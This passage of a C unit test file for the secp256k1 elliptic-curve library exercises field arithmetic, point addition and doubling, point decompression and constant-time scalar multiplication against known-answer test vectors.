secp256k1_fe_negate(&z, &z, j+1); secp256k1_fe_normalize_var(&q); secp256k1_fe_cmov(&q, &z, (j&1)); VERIFY_CHECK(!q.normalized && q.magnitude == (j+2)); } secp256k1_fe_normalize_var(&z); /* Test storage conversion and conditional moves. */ secp256k1_fe_to_storage(&xs, &x); secp256k1_fe_to_storage(&ys, &y); secp256k1_fe_to_storage(&zs, &z); secp256k1_fe_storage_cmov(&zs, &xs, 0); secp256k1_fe_storage_cmov(&zs, &zs, 1); CHECK(memcmp(&xs, &zs, sizeof(xs)) != 0); secp256k1_fe_storage_cmov(&ys, &xs, 1); CHECK(memcmp(&xs, &ys, sizeof(xs)) == 0); secp256k1_fe_from_storage(&x, &xs); secp256k1_fe_from_storage(&y, &ys); secp256k1_fe_from_storage(&z, &zs); /* Test that mul_int, mul, and add agree. */ secp256k1_fe_add(&y, &x); secp256k1_fe_add(&y, &x); z = x; secp256k1_fe_mul_int(&z, 3); CHECK(check_fe_equal(&y, &z)); secp256k1_fe_add(&y, &x); secp256k1_fe_add(&z, &x); CHECK(check_fe_equal(&z, &y)); z = x; secp256k1_fe_mul_int(&z, 5); secp256k1_fe_mul(&q, &x, &fe5); CHECK(check_fe_equal(&z, &q)); secp256k1_fe_negate(&x, &x, 1); secp256k1_fe_add(&z, &x); secp256k1_fe_add(&q, &x); CHECK(check_fe_equal(&y, &z)); CHECK(check_fe_equal(&q, &y)); } } void run_field_inv(void) { secp256k1_fe x, xi, xii; int i; for (i = 0; i < 10*count; i++) { random_fe_non_zero(&x); secp256k1_fe_inv(&xi, &x); CHECK(check_fe_inverse(&x, &xi)); secp256k1_fe_inv(&xii, &xi); CHECK(check_fe_equal(&x, &xii)); } } void run_field_inv_var(void) { secp256k1_fe x, xi, xii; int i; for (i = 0; i < 10*count; i++) { random_fe_non_zero(&x); secp256k1_fe_inv_var(&xi, &x); CHECK(check_fe_inverse(&x, &xi)); secp256k1_fe_inv_var(&xii, &xi); CHECK(check_fe_equal(&x, &xii)); } } void run_field_inv_all_var(void) { secp256k1_fe x[16], xi[16], xii[16]; int i; /* Check it's safe to call for 0 elements */ secp256k1_fe_inv_all_var(xi, x, 0); for (i = 0; i < count; i++) { size_t j; size_t len = secp256k1_rand_int(15) + 1; for (j = 0; j < len; j++) { random_fe_non_zero(&x[j]); } secp256k1_fe_inv_all_var(xi, x, len); for (j = 0; j < len; j++) { CHECK(check_fe_inverse(&x[j], &xi[j])); } secp256k1_fe_inv_all_var(xii, xi, len); for (j = 0; j < len; j++) { CHECK(check_fe_equal(&x[j], &xii[j])); } } } void run_sqr(void) { secp256k1_fe x, s; { int i; secp256k1_fe_set_int(&x, 1); secp256k1_fe_negate(&x, &x, 1); for (i = 1; i <= 512; ++i) { secp256k1_fe_mul_int(&x, 2); secp256k1_fe_normalize(&x); secp256k1_fe_sqr(&s, &x); } } } void test_sqrt(const secp256k1_fe *a, const secp256k1_fe *k) { secp256k1_fe r1, r2; int v = secp256k1_fe_sqrt(&r1, a); CHECK((v == 0) == (k == NULL)); if (k != NULL) { /* Check that the returned root is +/- the given known answer */ secp256k1_fe_negate(&r2, &r1, 1); secp256k1_fe_add(&r1, k); secp256k1_fe_add(&r2, k); secp256k1_fe_normalize(&r1); secp256k1_fe_normalize(&r2); CHECK(secp256k1_fe_is_zero(&r1) || secp256k1_fe_is_zero(&r2)); } } void run_sqrt(void) { secp256k1_fe ns, x, s, t; int i; /* Check sqrt(0) is 0 */ secp256k1_fe_set_int(&x, 0); secp256k1_fe_sqr(&s, &x); test_sqrt(&s, &x); /* Check sqrt of small squares (and their negatives) */ for (i = 1; i <= 100; i++) { secp256k1_fe_set_int(&x, i); secp256k1_fe_sqr(&s, &x); test_sqrt(&s, &x); secp256k1_fe_negate(&t, &s, 1); test_sqrt(&t, NULL); } /* Consistency checks for large random values */ for (i = 0; i < 10; i++) { int j; random_fe_non_square(&ns); for (j = 0; j < count; j++) { random_fe(&x); secp256k1_fe_sqr(&s, &x); test_sqrt(&s, &x); secp256k1_fe_negate(&t, &s, 1); test_sqrt(&t, NULL); secp256k1_fe_mul(&t, &s, &ns); test_sqrt(&t, NULL); } } } /***** GROUP TESTS *****/ void ge_equals_ge(const secp256k1_ge *a, const secp256k1_ge *b) { CHECK(a->infinity == b->infinity); if (a->infinity) { return; } CHECK(secp256k1_fe_equal_var(&a->x, &b->x)); CHECK(secp256k1_fe_equal_var(&a->y, &b->y)); } /* This compares jacobian points including their Z, not just their geometric meaning. */ int gej_xyz_equals_gej(const secp256k1_gej *a, const secp256k1_gej *b) { secp256k1_gej a2; secp256k1_gej b2; int ret = 1; ret &= a->infinity == b->infinity; if (ret && !a->infinity) { a2 = *a; b2 = *b; secp256k1_fe_normalize(&a2.x); secp256k1_fe_normalize(&a2.y); secp256k1_fe_normalize(&a2.z); secp256k1_fe_normalize(&b2.x); secp256k1_fe_normalize(&b2.y); secp256k1_fe_normalize(&b2.z); ret &= secp256k1_fe_cmp_var(&a2.x, &b2.x) == 0; ret &= secp256k1_fe_cmp_var(&a2.y, &b2.y) == 0; ret &= secp256k1_fe_cmp_var(&a2.z, &b2.z) == 0; } return ret; } void ge_equals_gej(const secp256k1_ge *a, const secp256k1_gej *b) { secp256k1_fe z2s; secp256k1_fe u1, u2, s1, s2; CHECK(a->infinity == b->infinity); if (a->infinity) { return; } /* Check a.x * b.z^2 == b.x && a.y * b.z^3 == b.y, to avoid inverses. */ secp256k1_fe_sqr(&z2s, &b->z); secp256k1_fe_mul(&u1, &a->x, &z2s); u2 = b->x; secp256k1_fe_normalize_weak(&u2); secp256k1_fe_mul(&s1, &a->y, &z2s); secp256k1_fe_mul(&s1, &s1, &b->z); s2 = b->y; secp256k1_fe_normalize_weak(&s2); CHECK(secp256k1_fe_equal_var(&u1, &u2)); CHECK(secp256k1_fe_equal_var(&s1, &s2)); } void test_ge(void) { int i, i1; #ifdef USE_ENDOMORPHISM int runs = 6; #else int runs = 4; #endif /* Points: (infinity, p1, p1, -p1, -p1, p2, p2, -p2, -p2, p3, p3, -p3, -p3, p4, p4, -p4, -p4). * The second in each pair of identical points uses a random Z coordinate in the Jacobian form. * All magnitudes are randomized. * All 17*17 combinations of points are added to each other, using all applicable methods. * * When the endomorphism code is compiled in, p5 = lambda*p1 and p6 = lambda^2*p1 are added as well. */ secp256k1_ge *ge = (secp256k1_ge *)checked_malloc(&ctx->error_callback, sizeof(secp256k1_ge) * (1 + 4 * runs)); secp256k1_gej *gej = (secp256k1_gej *)checked_malloc(&ctx->error_callback, sizeof(secp256k1_gej) * (1 + 4 * runs)); secp256k1_fe *zinv = (secp256k1_fe *)checked_malloc(&ctx->error_callback, sizeof(secp256k1_fe) * (1 + 4 * runs)); secp256k1_fe zf; secp256k1_fe zfi2, zfi3; secp256k1_gej_set_infinity(&gej[0]); secp256k1_ge_clear(&ge[0]); secp256k1_ge_set_gej_var(&ge[0], &gej[0]); for (i = 0; i < runs; i++) { int j; secp256k1_ge g; random_group_element_test(&g); #ifdef USE_ENDOMORPHISM if (i >= runs - 2) { secp256k1_ge_mul_lambda(&g, &ge[1]); } if (i >= runs - 1) { secp256k1_ge_mul_lambda(&g, &g); } #endif ge[1 + 4 * i] = g; ge[2 + 4 * i] = g; secp256k1_ge_neg(&ge[3 + 4 * i], &g); secp256k1_ge_neg(&ge[4 + 4 * i], &g); secp256k1_gej_set_ge(&gej[1 + 4 * i], &ge[1 + 4 * i]); random_group_element_jacobian_test(&gej[2 + 4 * i], &ge[2 + 4 * i]); secp256k1_gej_set_ge(&gej[3 + 4 * i], &ge[3 + 4 * i]); random_group_element_jacobian_test(&gej[4 + 4 * i], &ge[4 + 4 * i]); for (j = 0; j < 4; j++) { random_field_element_magnitude(&ge[1 + j + 4 * i].x); random_field_element_magnitude(&ge[1 + j + 4 * i].y); random_field_element_magnitude(&gej[1 + j + 4 * i].x); random_field_element_magnitude(&gej[1 + j + 4 * i].y); random_field_element_magnitude(&gej[1 + j + 4 * i].z); } } /* Compute z inverses. */ { secp256k1_fe *zs = checked_malloc(&ctx->error_callback, sizeof(secp256k1_fe) * (1 + 4 * runs)); for (i = 0; i < 4 * runs + 1; i++) { if (i == 0) { /* The point at infinity does not have a meaningful z inverse. Any should do. */ do { random_field_element_test(&zs[i]); } while(secp256k1_fe_is_zero(&zs[i])); } else { zs[i] = gej[i].z; } } secp256k1_fe_inv_all_var(zinv, zs, 4 * runs + 1); free(zs); } /* Generate random zf, and zfi2 = 1/zf^2, zfi3 = 1/zf^3 */ do { random_field_element_test(&zf); } while(secp256k1_fe_is_zero(&zf)); random_field_element_magnitude(&zf); secp256k1_fe_inv_var(&zfi3, &zf); secp256k1_fe_sqr(&zfi2, &zfi3); secp256k1_fe_mul(&zfi3, &zfi3, &zfi2); for (i1 = 0; i1 < 1 + 4 * runs; i1++) { int i2; for (i2 = 0; i2 < 1 + 4 * runs; i2++) { /* Compute reference result using gej + gej (var). */ secp256k1_gej refj, resj; secp256k1_ge ref; secp256k1_fe zr; secp256k1_gej_add_var(&refj, &gej[i1], &gej[i2], secp256k1_gej_is_infinity(&gej[i1]) ? NULL : &zr); /* Check Z ratio. */ if (!secp256k1_gej_is_infinity(&gej[i1]) && !secp256k1_gej_is_infinity(&refj)) { secp256k1_fe zrz; secp256k1_fe_mul(&zrz, &zr, &gej[i1].z); CHECK(secp256k1_fe_equal_var(&zrz, &refj.z)); } secp256k1_ge_set_gej_var(&ref, &refj); /* Test gej + ge with Z ratio result (var). */ secp256k1_gej_add_ge_var(&resj, &gej[i1], &ge[i2], secp256k1_gej_is_infinity(&gej[i1]) ? NULL : &zr); ge_equals_gej(&ref, &resj); if (!secp256k1_gej_is_infinity(&gej[i1]) && !secp256k1_gej_is_infinity(&resj)) { secp256k1_fe zrz; secp256k1_fe_mul(&zrz, &zr, &gej[i1].z); CHECK(secp256k1_fe_equal_var(&zrz, &resj.z)); } /* Test gej + ge (var, with additional Z factor). */ { secp256k1_ge ge2_zfi = ge[i2]; /* the second term with x and y rescaled for z = 1/zf */ secp256k1_fe_mul(&ge2_zfi.x, &ge2_zfi.x, &zfi2); secp256k1_fe_mul(&ge2_zfi.y, &ge2_zfi.y, &zfi3); random_field_element_magnitude(&ge2_zfi.x); random_field_element_magnitude(&ge2_zfi.y); secp256k1_gej_add_zinv_var(&resj, &gej[i1], &ge2_zfi, &zf); ge_equals_gej(&ref, &resj); } /* Test gej + ge (const). */ if (i2 != 0) { /* secp256k1_gej_add_ge does not support its second argument being infinity. */ secp256k1_gej_add_ge(&resj, &gej[i1], &ge[i2]); ge_equals_gej(&ref, &resj); } /* Test doubling (var). */ if ((i1 == 0 && i2 == 0) || ((i1 + 3)/4 == (i2 + 3)/4 && ((i1 + 3)%4)/2 == ((i2 + 3)%4)/2)) { secp256k1_fe zr2; /* Normal doubling with Z ratio result. */ secp256k1_gej_double_var(&resj, &gej[i1], &zr2); ge_equals_gej(&ref, &resj); /* Check Z ratio. */ secp256k1_fe_mul(&zr2, &zr2, &gej[i1].z); CHECK(secp256k1_fe_equal_var(&zr2, &resj.z)); /* Normal doubling. */ secp256k1_gej_double_var(&resj, &gej[i2], NULL); ge_equals_gej(&ref, &resj); } /* Test adding opposites. */ if ((i1 == 0 && i2 == 0) || ((i1 + 3)/4 == (i2 + 3)/4 && ((i1 + 3)%4)/2 != ((i2 + 3)%4)/2)) { CHECK(secp256k1_ge_is_infinity(&ref)); } /* Test adding infinity. */ if (i1 == 0) { CHECK(secp256k1_ge_is_infinity(&ge[i1])); CHECK(secp256k1_gej_is_infinity(&gej[i1])); ge_equals_gej(&ref, &gej[i2]); } if (i2 == 0) { CHECK(secp256k1_ge_is_infinity(&ge[i2])); CHECK(secp256k1_gej_is_infinity(&gej[i2])); ge_equals_gej(&ref, &gej[i1]); } } } /* Test adding all points together in random order equals infinity. */ { secp256k1_gej sum = SECP256K1_GEJ_CONST_INFINITY; secp256k1_gej *gej_shuffled = (secp256k1_gej *)checked_malloc(&ctx->error_callback, (4 * runs + 1) * sizeof(secp256k1_gej)); for (i = 0; i < 4 * runs + 1; i++) { gej_shuffled[i] = gej[i]; } for (i = 0; i < 4 * runs + 1; i++) { int swap = i + secp256k1_rand_int(4 * runs + 1 - i); if (swap != i) { secp256k1_gej t = gej_shuffled[i]; gej_shuffled[i] = gej_shuffled[swap]; gej_shuffled[swap] = t; } } for (i = 0; i < 4 * runs + 1; i++) { secp256k1_gej_add_var(&sum, &sum, &gej_shuffled[i], NULL); } CHECK(secp256k1_gej_is_infinity(&sum)); free(gej_shuffled); } /* Test batch gej -> ge conversion with and without known z ratios. */ { secp256k1_fe *zr = (secp256k1_fe *)checked_malloc(&ctx->error_callback, (4 * runs + 1) * sizeof(secp256k1_fe)); secp256k1_ge *ge_set_table = (secp256k1_ge *)checked_malloc(&ctx->error_callback, (4 * runs + 1) * sizeof(secp256k1_ge)); secp256k1_ge *ge_set_all = (secp256k1_ge *)checked_malloc(&ctx->error_callback, (4 * runs + 1) * sizeof(secp256k1_ge)); for (i = 0; i < 4 * runs + 1; i++) { /* Compute gej[i + 1].z / gez[i].z (with gej[n].z taken to be 1). */ if (i < 4 * runs) { secp256k1_fe_mul(&zr[i + 1], &zinv[i], &gej[i + 1].z); } } secp256k1_ge_set_table_gej_var(ge_set_table, gej, zr, 4 * runs + 1); secp256k1_ge_set_all_gej_var(ge_set_all, gej, 4 * runs + 1, &ctx->error_callback); for (i = 0; i < 4 * runs + 1; i++) { secp256k1_fe s; random_fe_non_zero(&s); secp256k1_gej_rescale(&gej[i], &s); ge_equals_gej(&ge_set_table[i], &gej[i]); ge_equals_gej(&ge_set_all[i], &gej[i]); } free(ge_set_table); free(ge_set_all); free(zr); } free(ge); free(gej); free(zinv); } void test_add_neg_y_diff_x(void) { /* The point of this test is to check that we can add two points * whose y-coordinates are negatives of each other but whose x * coordinates differ. If the x-coordinates were the same, these * points would be negatives of each other and their sum is * infinity. This is cool because it "covers up" any degeneracy * in the addition algorithm that would cause the xy coordinates * of the sum to be wrong (since infinity has no xy coordinates). * HOWEVER, if the x-coordinates are different, infinity is the * wrong answer, and such degeneracies are exposed. This is the * root of https://github.com/bitcoin-core/secp256k1/issues/257 * which this test is a regression test for. * * These points were generated in sage as * # secp256k1 params * F = FiniteField (0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F) * C = EllipticCurve ([F (0), F (7)]) * G = C.lift_x(0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798) * N = FiniteField(G.order()) * * # endomorphism values (lambda is 1^{1/3} in N, beta is 1^{1/3} in F) * x = polygen(N) * lam = (1 - x^3).roots()[1][0] * * # random "bad pair" * P = C.random_element() * Q = -int(lam) * P * print " P: %x %x" % P.xy() * print " Q: %x %x" % Q.xy() * print "P + Q: %x %x" % (P + Q).xy() */ secp256k1_gej aj = SECP256K1_GEJ_CONST( 0x8d24cd95, 0x0a355af1, 0x3c543505, 0x44238d30, 0x0643d79f, 0x05a59614, 0x2f8ec030, 0xd58977cb, 0x001e337a, 0x38093dcd, 0x6c0f386d, 0x0b1293a8, 0x4d72c879, 0xd7681924, 0x44e6d2f3, 0x9190117d ); secp256k1_gej bj = SECP256K1_GEJ_CONST( 0xc7b74206, 0x1f788cd9, 0xabd0937d, 0x164a0d86, 0x95f6ff75, 0xf19a4ce9, 0xd013bd7b, 0xbf92d2a7, 0xffe1cc85, 0xc7f6c232, 0x93f0c792, 0xf4ed6c57, 0xb28d3786, 0x2897e6db, 0xbb192d0b, 0x6e6feab2 ); secp256k1_gej sumj = SECP256K1_GEJ_CONST( 0x671a63c0, 0x3efdad4c, 0x389a7798, 0x24356027, 0xb3d69010, 0x278625c3, 0x5c86d390, 0x184a8f7a, 0x5f6409c2, 0x2ce01f2b, 0x511fd375, 0x25071d08, 0xda651801, 0x70e95caf, 0x8f0d893c, 0xbed8fbbe ); secp256k1_ge b; secp256k1_gej resj; secp256k1_ge res; secp256k1_ge_set_gej(&b, &bj); secp256k1_gej_add_var(&resj, &aj, &bj, NULL); secp256k1_ge_set_gej(&res, &resj); ge_equals_gej(&res, &sumj); secp256k1_gej_add_ge(&resj, &aj, &b); secp256k1_ge_set_gej(&res, &resj); ge_equals_gej(&res, &sumj); secp256k1_gej_add_ge_var(&resj, &aj, &b, NULL); secp256k1_ge_set_gej(&res, &resj); ge_equals_gej(&res, &sumj); } void run_ge(void) { int i; for (i = 0; i < count * 32; i++) { test_ge(); } test_add_neg_y_diff_x(); } void test_ec_combine(void) { secp256k1_scalar sum = SECP256K1_SCALAR_CONST(0, 0, 0, 0, 0, 0, 0, 0); secp256k1_pubkey data[6]; const secp256k1_pubkey* d[6]; secp256k1_pubkey sd; secp256k1_pubkey sd2; secp256k1_gej Qj; secp256k1_ge Q; int i; for (i = 1; i <= 6; i++) { secp256k1_scalar s; random_scalar_order_test(&s); secp256k1_scalar_add(&sum, &sum, &s); secp256k1_ecmult_gen(&ctx->ecmult_gen_ctx, &Qj, &s); secp256k1_ge_set_gej(&Q, &Qj); secp256k1_pubkey_save(&data[i - 1], &Q); d[i - 1] = &data[i - 1]; secp256k1_ecmult_gen(&ctx->ecmult_gen_ctx, &Qj, &sum); secp256k1_ge_set_gej(&Q, &Qj); secp256k1_pubkey_save(&sd, &Q); CHECK(secp256k1_ec_pubkey_combine(ctx, &sd2, d, i) == 1); CHECK(memcmp(&sd, &sd2, sizeof(sd)) == 0); } } void run_ec_combine(void) { int i; for (i = 0; i < count * 8; i++) { test_ec_combine(); } } void test_group_decompress(const secp256k1_fe* x) { /* The input itself, normalized. */ secp256k1_fe fex = *x; secp256k1_fe fez; /* Results of set_xquad_var, set_xo_var(..., 0), set_xo_var(..., 1). */ secp256k1_ge ge_quad, ge_even, ge_odd; secp256k1_gej gej_quad; /* Return values of the above calls. */ int res_quad, res_even, res_odd; secp256k1_fe_normalize_var(&fex); res_quad = secp256k1_ge_set_xquad(&ge_quad, &fex); res_even = secp256k1_ge_set_xo_var(&ge_even, &fex, 0); res_odd = secp256k1_ge_set_xo_var(&ge_odd, &fex, 1); CHECK(res_quad == res_even); CHECK(res_quad == res_odd); if (res_quad) { secp256k1_fe_normalize_var(&ge_quad.x); secp256k1_fe_normalize_var(&ge_odd.x); secp256k1_fe_normalize_var(&ge_even.x); secp256k1_fe_normalize_var(&ge_quad.y); secp256k1_fe_normalize_var(&ge_odd.y); secp256k1_fe_normalize_var(&ge_even.y); /* No infinity allowed. */ CHECK(!ge_quad.infinity); CHECK(!ge_even.infinity); CHECK(!ge_odd.infinity); /* Check that the x coordinates check out. */ CHECK(secp256k1_fe_equal_var(&ge_quad.x, x)); CHECK(secp256k1_fe_equal_var(&ge_even.x, x)); CHECK(secp256k1_fe_equal_var(&ge_odd.x, x)); /* Check that the Y coordinate result in ge_quad is a square. */ CHECK(secp256k1_fe_is_quad_var(&ge_quad.y)); /* Check odd/even Y in ge_odd, ge_even. */ CHECK(secp256k1_fe_is_odd(&ge_odd.y)); CHECK(!secp256k1_fe_is_odd(&ge_even.y)); /* Check secp256k1_gej_has_quad_y_var. */ secp256k1_gej_set_ge(&gej_quad, &ge_quad); CHECK(secp256k1_gej_has_quad_y_var(&gej_quad)); do { random_fe_test(&fez); } while (secp256k1_fe_is_zero(&fez)); secp256k1_gej_rescale(&gej_quad, &fez); CHECK(secp256k1_gej_has_quad_y_var(&gej_quad)); secp256k1_gej_neg(&gej_quad, &gej_quad); CHECK(!secp256k1_gej_has_quad_y_var(&gej_quad)); do { random_fe_test(&fez); } while (secp256k1_fe_is_zero(&fez)); secp256k1_gej_rescale(&gej_quad, &fez); CHECK(!secp256k1_gej_has_quad_y_var(&gej_quad)); secp256k1_gej_neg(&gej_quad, &gej_quad); CHECK(secp256k1_gej_has_quad_y_var(&gej_quad)); } } void run_group_decompress(void) { int i; for (i = 0; i < count * 4; i++) { secp256k1_fe fe; random_fe_test(&fe); test_group_decompress(&fe); } } /***** ECMULT TESTS *****/ void run_ecmult_chain(void) { /* random starting point A (on the curve) */ secp256k1_gej a = SECP256K1_GEJ_CONST( 0x8b30bbe9, 0xae2a9906, 0x96b22f67, 0x0709dff3, 0x727fd8bc, 0x04d3362c, 0x6c7bf458, 0xe2846004, 0xa357ae91, 0x5c4a6528, 0x1309edf2, 0x0504740f, 0x0eb33439, 0x90216b4f, 0x81063cb6, 0x5f2f7e0f ); /* two random initial factors xn and gn */ secp256k1_scalar xn = SECP256K1_SCALAR_CONST( 0x84cc5452, 0xf7fde1ed, 0xb4d38a8c, 0xe9b1b84c, 0xcef31f14, 0x6e569be9, 0x705d357a, 0x42985407 ); secp256k1_scalar gn = SECP256K1_SCALAR_CONST( 0xa1e58d22, 0x553dcd42, 0xb2398062, 0x5d4c57a9, 0x6e9323d4, 0x2b3152e5, 0xca2c3990, 0xedc7c9de ); /* two small multipliers to be applied to xn and gn in every iteration: */ static const secp256k1_scalar xf = SECP256K1_SCALAR_CONST(0, 0, 0, 0, 0, 0, 0, 0x1337); static const secp256k1_scalar gf = SECP256K1_SCALAR_CONST(0, 0, 0, 0, 0, 0, 0, 0x7113); /* accumulators with the resulting coefficients to A and G */ secp256k1_scalar ae = SECP256K1_SCALAR_CONST(0, 0, 0, 0, 0, 0, 0, 1); secp256k1_scalar ge = SECP256K1_SCALAR_CONST(0, 0, 0, 0, 0, 0, 0, 0); /* actual points */ secp256k1_gej x; secp256k1_gej x2; int i; /* the point being computed */ x = a; for (i = 0; i < 200*count; i++) { /* in each iteration, compute X = xn*X + gn*G; */ secp256k1_ecmult(&ctx->ecmult_ctx, &x, &x, &xn, &gn); /* also compute ae and ge: the actual accumulated factors for A and G */ /* if X was (ae*A+ge*G), xn*X + gn*G results in (xn*ae*A + (xn*ge+gn)*G) */ secp256k1_scalar_mul(&ae, &ae, &xn); secp256k1_scalar_mul(&ge, &ge, &xn); secp256k1_scalar_add(&ge, &ge, &gn); /* modify xn and gn */ secp256k1_scalar_mul(&xn, &xn, &xf); secp256k1_scalar_mul(&gn, &gn, &gf); /* verify */ if (i == 19999) { /* expected result after 19999 iterations */ secp256k1_gej rp = SECP256K1_GEJ_CONST( 0xD6E96687, 0xF9B10D09, 0x2A6F3543, 0x9D86CEBE, 0xA4535D0D, 0x409F5358, 0x6440BD74, 0xB933E830, 0xB95CBCA2, 0xC77DA786, 0x539BE8FD, 0x53354D2D, 0x3B4F566A, 0xE6580454, 0x07ED6015, 0xEE1B2A88 ); secp256k1_gej_neg(&rp, &rp); secp256k1_gej_add_var(&rp, &rp, &x, NULL); CHECK(secp256k1_gej_is_infinity(&rp)); } } /* redo the computation, but directly with the resulting ae and ge coefficients: */ secp256k1_ecmult(&ctx->ecmult_ctx, &x2, &a, &ae, &ge); secp256k1_gej_neg(&x2, &x2); secp256k1_gej_add_var(&x2, &x2, &x, NULL); CHECK(secp256k1_gej_is_infinity(&x2)); } void test_point_times_order(const secp256k1_gej *point) { /* X * (point + G) + (order-X) * (pointer + G) = 0 */ secp256k1_scalar x; secp256k1_scalar nx; secp256k1_scalar zero = SECP256K1_SCALAR_CONST(0, 0, 0, 0, 0, 0, 0, 0); secp256k1_scalar one = SECP256K1_SCALAR_CONST(0, 0, 0, 0, 0, 0, 0, 1); secp256k1_gej res1, res2; secp256k1_ge res3; unsigned char pub[65]; size_t psize = 65; random_scalar_order_test(&x); secp256k1_scalar_negate(&nx, &x); secp256k1_ecmult(&ctx->ecmult_ctx, &res1, point, &x, &x); /* calc res1 = x * point + x * G; */ secp256k1_ecmult(&ctx->ecmult_ctx, &res2, point, &nx, &nx); /* calc res2 = (order - x) * point + (order - x) * G; */ secp256k1_gej_add_var(&res1, &res1, &res2, NULL); CHECK(secp256k1_gej_is_infinity(&res1)); CHECK(secp256k1_gej_is_valid_var(&res1) == 0); secp256k1_ge_set_gej(&res3, &res1); CHECK(secp256k1_ge_is_infinity(&res3)); CHECK(secp256k1_ge_is_valid_var(&res3) == 0); CHECK(secp256k1_eckey_pubkey_serialize(&res3, pub, &psize, 0) == 0); psize = 65; CHECK(secp256k1_eckey_pubkey_serialize(&res3, pub, &psize, 1) == 0); /* check zero/one edge cases */ secp256k1_ecmult(&ctx->ecmult_ctx, &res1, point, &zero, &zero); secp256k1_ge_set_gej(&res3, &res1); CHECK(secp256k1_ge_is_infinity(&res3)); secp256k1_ecmult(&ctx->ecmult_ctx, &res1, point, &one, &zero); secp256k1_ge_set_gej(&res3, &res1); ge_equals_gej(&res3, point); secp256k1_ecmult(&ctx->ecmult_ctx, &res1, point, &zero, &one); secp256k1_ge_set_gej(&res3, &res1); ge_equals_ge(&res3, &secp256k1_ge_const_g); } void run_point_times_order(void) { int i; secp256k1_fe x = SECP256K1_FE_CONST(0, 0, 0, 0, 0, 0, 0, 2); static const secp256k1_fe xr = SECP256K1_FE_CONST( 0x7603CB59, 0xB0EF6C63, 0xFE608479, 0x2A0C378C, 0xDB3233A8, 0x0F8A9A09, 0xA877DEAD, 0x31B38C45 ); for (i = 0; i < 500; i++) { secp256k1_ge p; if (secp256k1_ge_set_xo_var(&p, &x, 1)) { secp256k1_gej j; CHECK(secp256k1_ge_is_valid_var(&p)); secp256k1_gej_set_ge(&j, &p); CHECK(secp256k1_gej_is_valid_var(&j)); test_point_times_order(&j); } secp256k1_fe_sqr(&x, &x); } secp256k1_fe_normalize_var(&x); CHECK(secp256k1_fe_equal_var(&x, &xr)); } void ecmult_const_random_mult(void) { /* random starting point A (on the curve) */ secp256k1_ge a = SECP256K1_GE_CONST( 0x6d986544, 0x57ff52b8, 0xcf1b8126, 0x5b802a5b, 0xa97f9263, 0xb1e88044, 0x93351325, 0x91bc450a, 0x535c59f7, 0x325e5d2b, 0xc391fbe8, 0x3c12787c, 0x337e4a98, 0xe82a9011, 0x0123ba37, 0xdd769c7d ); /* random initial factor xn */ secp256k1_scalar xn = SECP256K1_SCALAR_CONST( 0x649d4f77, 0xc4242df7, 0x7f2079c9, 0x14530327, 0xa31b876a, 0xd2d8ce2a, 0x2236d5c6, 0xd7b2029b ); /* expected xn * A (from sage) */ secp256k1_ge expected_b = SECP256K1_GE_CONST( 0x23773684, 0x4d209dc7, 0x098a786f, 0x20d06fcd, 0x070a38bf, 0xc11ac651, 0x03004319, 0x1e2a8786, 0xed8c3b8e, 0xc06dd57b, 0xd06ea66e, 0x45492b0f, 0xb84e4e1b, 0xfb77e21f, 0x96baae2a, 0x63dec956 ); secp256k1_gej b; secp256k1_ecmult_const(&b, &a, &xn); CHECK(secp256k1_ge_is_valid_var(&a)); ge_equals_gej(&expected_b, &b); } void ecmult_const_commutativity(void) { secp256k1_scalar a; secp256k1_scalar b; secp256k1_gej res1; secp256k1_gej res2; secp256k1_ge mid1; secp256k1_ge mid2; random_scalar_order_test(&a); random_scalar_order_test(&b); secp256k1_ecmult_const(&res1, &secp256k1_ge_const_g, &a); secp256k1_ecmult_const(&res2, &secp256k1_ge_const_g, &b); secp256k1_ge_set_gej(&mid1, &res1); secp256k1_ge_set_gej(&mid2, &res2); secp256k1_ecmult_const(&res1, &mid1, &b); secp256k1_ecmult_const(&res2, &mid2, &a); secp256k1_ge_set_gej(&mid1, &res1); secp256k1_ge_set_gej(&mid2, &res2); ge_equals_ge(&mid1, &mid2); } void ecmult_const_mult_zero_one(void) { secp256k1_scalar zero = SECP256K1_SCALAR_CONST(0, 0, 0, 0, 0, 0, 0, 0); secp256k1_scalar one = SECP256K1_SCALAR_CONST(0, 0, 0, 0, 0, 0, 0, 1); secp256k1_scalar negone; secp256k1_gej res1; secp256k1_ge res2; secp256k1_ge point; secp256k1_scalar_negate(&negone, &one); random_group_element_test(&point); secp256k1_ecmult_const(&res1, &point, &zero); secp256k1_ge_set_gej(&res2, &res1); CHECK(secp256k1_ge_is_infinity(&res2)); secp256k1_ecmult_const(&res1, &point, &one); secp256k1_ge_set_gej(&res2, &res1); ge_equals_ge(&res2, &point); secp256k1_ecmult_const(&res1, &point, &negone); secp256k1_gej_neg(&res1, &res1); secp256k1_ge_set_gej(&res2, &res1); ge_equals_ge(&res2, &point); } void ecmult_const_chain_multiply(void) { /* Check known result (randomly generated test problem from sage) */ const secp256k1_scalar scalar = SECP256K1_SCALAR_CONST( 0x4968d524, 0x2abf9b7a, 0x466abbcf, 0x34b11b6d, 0xcd83d307, 0x827bed62, 0x05fad0ce, 0x18fae63b ); const secp256k1_gej expected_point = SECP256K1_GEJ_CONST( 0x5494c15d, 0x32099706, 0xc2395f94, 0x348745fd, 0x757ce30e, 0x4e8c90fb, 0xa2bad184, 0xf883c69f, 0x5d195d20, 0xe191bf7f, 0x1be3e55f, 0x56a80196, 0x6071ad01, 0xf1462f66, 0xc997fa94, 0xdb858435 ); secp256k1_gej point; secp256k1_ge res; int i; secp256k1_gej_set_ge(&point, &secp256k1_ge_const_g); for (i = 0; i < 100; ++i) { secp256k1_ge tmp; secp256k1_ge_set_gej(&tmp, &point); secp256k1_ecmult_const(&point, &tmp, &scalar); } secp256k1_ge_set_gej(&res, &point); ge_equals_gej(&res, &expected_point); } void run_ecmult_const_tests(void) { ecmult_const_mult_zero_one(); ecmult_const_random_mult(); ecmult_const_commutativity(); ecmult_const_chain_multiply(); } void test_wnaf(const secp256k1_scalar *number, int w) { secp256k1_scalar x, two, t; int wnaf[256]; int zeroes = -1; int i; int bits; secp256k1_scalar_set_int(&x, 0); secp256k1_scalar_set_int(&two, 2); bits = secp256k1_ecmult_wnaf(wnaf, 256, number, w); CHECK(bits <= 256); for (i = bits-1; i >= 0; i--) { int v = wnaf[i]; secp256k1_scalar_mul(&x, &x, &two); if (v) { CHECK(zeroes == -1 || zeroes >= w-1); /* check that distance between non-zero elements is at least w-1 */ 